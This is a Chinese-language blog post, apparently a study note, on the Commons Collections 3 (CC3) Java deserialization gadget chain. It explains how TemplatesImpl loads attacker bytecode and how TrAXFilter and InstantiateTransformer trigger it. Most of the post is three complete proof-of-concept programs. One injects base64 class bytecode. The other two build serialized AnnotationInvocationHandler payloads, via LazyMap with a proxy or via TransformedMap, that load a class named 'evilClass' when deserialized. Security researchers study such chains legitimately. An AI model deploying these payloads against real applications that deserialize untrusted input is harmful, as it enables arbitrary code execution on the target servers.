Java反序列化之CC3

原理:

利用TemplatesImpl 来加载类的字节码 ( TemplatesImpl#newTransformer() )

其在 newTransformer 的时候, 会

利用链: (使用InvokerTransformer)

AnnotationInvocationHandler.readObject()
    核心逻辑:Map.Entry<String, Object> memberValue : memberValues.entrySet() 和memberValue.setValue(...) 
TransformedMap#setvalue()  
TransformerMap#Transform()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
#defileClass会将字节码处理为真正的Java类 

AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个是 参数就是前面构造的Map。

TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类

需要将恶意的字节码传入给TempLatesImpl 类所实现的对象的 私有属性 _bytecodes

读取字节码也可以使用:

byte[] code = Files.readAllBytes(Paths.get("D://test.class")); 来进行读取

translate 是不可被反序列化的

疑问:

注意一点,在 defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造 函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中(在本系列文章第一篇 中进行过说明),在 defineClass 时也无法被直接调用到。所以,如果我们要使用 defineClass 在目 标机器上执行任意代码,需要想办法调用构造函数。

不使用Invokertransformer :

需要使用到TrAXFilter , TrAXFilter 的构造函数会调用到 (TransformerImpl) templates.newTransformer() ,免去了我们使⽤InvokerTransformer⼿⼯调⽤ newTransformer() ⽅法这⼀步

缺少了InvokerTransformerTrAXFilter的构造⽅法也是⽆法调⽤的。这⾥会⽤到⼀个新的 Transformer,就是 org.apache.commons.collections.functors.InstantiateTransformer InstantiateTransformer也是⼀个实现了Transformer接⼝的类,他的作⽤就是调⽤构造⽅法。 所以,我们实现的⽬标就是,利⽤InstantiateTransformer来调⽤到TrAXFilter的构造⽅法,再利 ⽤其构造⽅法⾥的templates.newTransformer()调⽤到TemplatesImpl⾥的字节码。

setFieldValue 方法用来设置私有属性,可见,这里我设置了三个属性: _bytecodes_name _tfactory

_bytecodes 是由字节码组成的数组;

_name 可以是任意字符串,只要不为null即可;

_tfactory需要是一个TransformerFactoryImpl对象,因为 TemplatesImpl#defineTransletClasses() 方法里有调用到 _tfactory.getExternalExtensionsMap() ,如果是null会出错

POC :

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import
com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsIntro2 {
 public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj, value);
 }
    //设置私有属性
 public static void main(String[] args) throws Exception {
 // source: bytecodes/HelloTemplateImpl.java
 byte[] code =
Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQ
EACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRj
L0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYW
xpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25z
BwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb2
0vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9z
dW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZG
xlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwu
amF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1
RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMv
cnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludG
VybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEA
FUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQ
AVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAA
AbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQ
AKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAE
sQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
 TemplatesImpl obj = new TemplatesImpl();
 setFieldValue(obj, "_bytecodes", new byte[][] {code});
 setFieldValue(obj, "_name", "HelloTemplatesImpl");
 setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
 Transformer[] transformers = new Transformer[]{
     new ConstantTransformer(obj),
     new InvokerTransformer("newTransformer", null, null)
 };
 Transformer transformerChain = new
ChainedTransformer(transformers);
 Map innerMap = new HashMap();
                            Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
 outerMap.put("test", "xxxx");
 }
}

反序列化利用POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
 
 
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
 
public class CC3poc2 {
    public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.getCtClass("com.test.evilClass");
        byte[] bytes = ctClass.toBytecode();
        //将恶意类转换为字节码
        TemplatesImpl templates=new TemplatesImpl();
        //可以直接new不需要像AnnotationInvocationHandler一样必须通过反射(类修饰符不同)
        Class classInstance=templates.getClass();
        Field field1=classInstance.getDeclaredField("_name");
        Field field2=classInstance.getDeclaredField("_bytecodes");
        field1.setAccessible(true);
        field2.setAccessible(true);
        field1.set(templates,"evilCLass");
        field2.set(templates,new byte[][]{bytes});
        //反射设置属性
        Transformer[] transFormers=new Transformer[]{
          new ConstantTransformer(TrAXFilter.class),
          new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };
        Transformer chainedTransformer=new ChainedTransformer(transFormers);
        InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
        Map map =new HashMap();
        Map lazyMap= LazyMap.decorate(map,chainedTransformer);
        //在commoncellection3中使用LazyMap.decorate(map,chainedTransformer);
        classInstance =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=classInstance.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Target.class,lazyMap);
        Map proxyMap= (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),lazyMap.getClass().getInterfaces(),invocationHandler);
        //生成代理类
        InvocationHandler annotationinvocationHandler=(InvocationHandler)constructor.newInstance(Target.class,proxyMap);
        //将代理类传入
 
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(annotationinvocationHandler);
        objectOutputStream.close();
        //序列化
        ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
 
 
    }
}

基于TransformerMap

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
 
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
 
public class CC3Poc {
    public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
        ClassPool classPool= ClassPool.getDefault();
        CtClass ctClass=classPool.getCtClass("com.test.evilClass");
        byte[] bytes=ctClass.toBytecode();
        //将恶意类转换为字节码
        TemplatesImpl templatesImpl = new TemplatesImpl();
        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        Field field2=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field1.setAccessible(true);
        field2.setAccessible(true);
        field1.set(templatesImpl,"evilClass");
        field2.set(templatesImpl,new byte[][]{bytes});
        //通过反射将bytes和一个name赋值给TemplatesImpl的_name和_bytecodes
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
        };
        Transformer chainedTransformer=new ChainedTransformer(transformers);
        //构造触发newTransform()的利用链,InstantiateTransformer的transform()会将TrAXFilter实例化传入template,触发在构造方法中的newTransform方法
        HashMap map=new HashMap();
        map.put("value","asd");
        Map transformedMap=TransformedMap.decorate(map,null,chainedTransformer);
        Class classInstance=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=classInstance.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler annotationinvocationHandler=(InvocationHandler) constructor.newInstance(Target.class,transformedMap);
        //反射调用
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(annotationinvocationHandler);
        objectOutputStream.close();
        //序列化
        ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
 
 
 
    }
}
posted @ 2022-09-05 15:43  admin_luo  阅读(312)  评论(0)    收藏  举报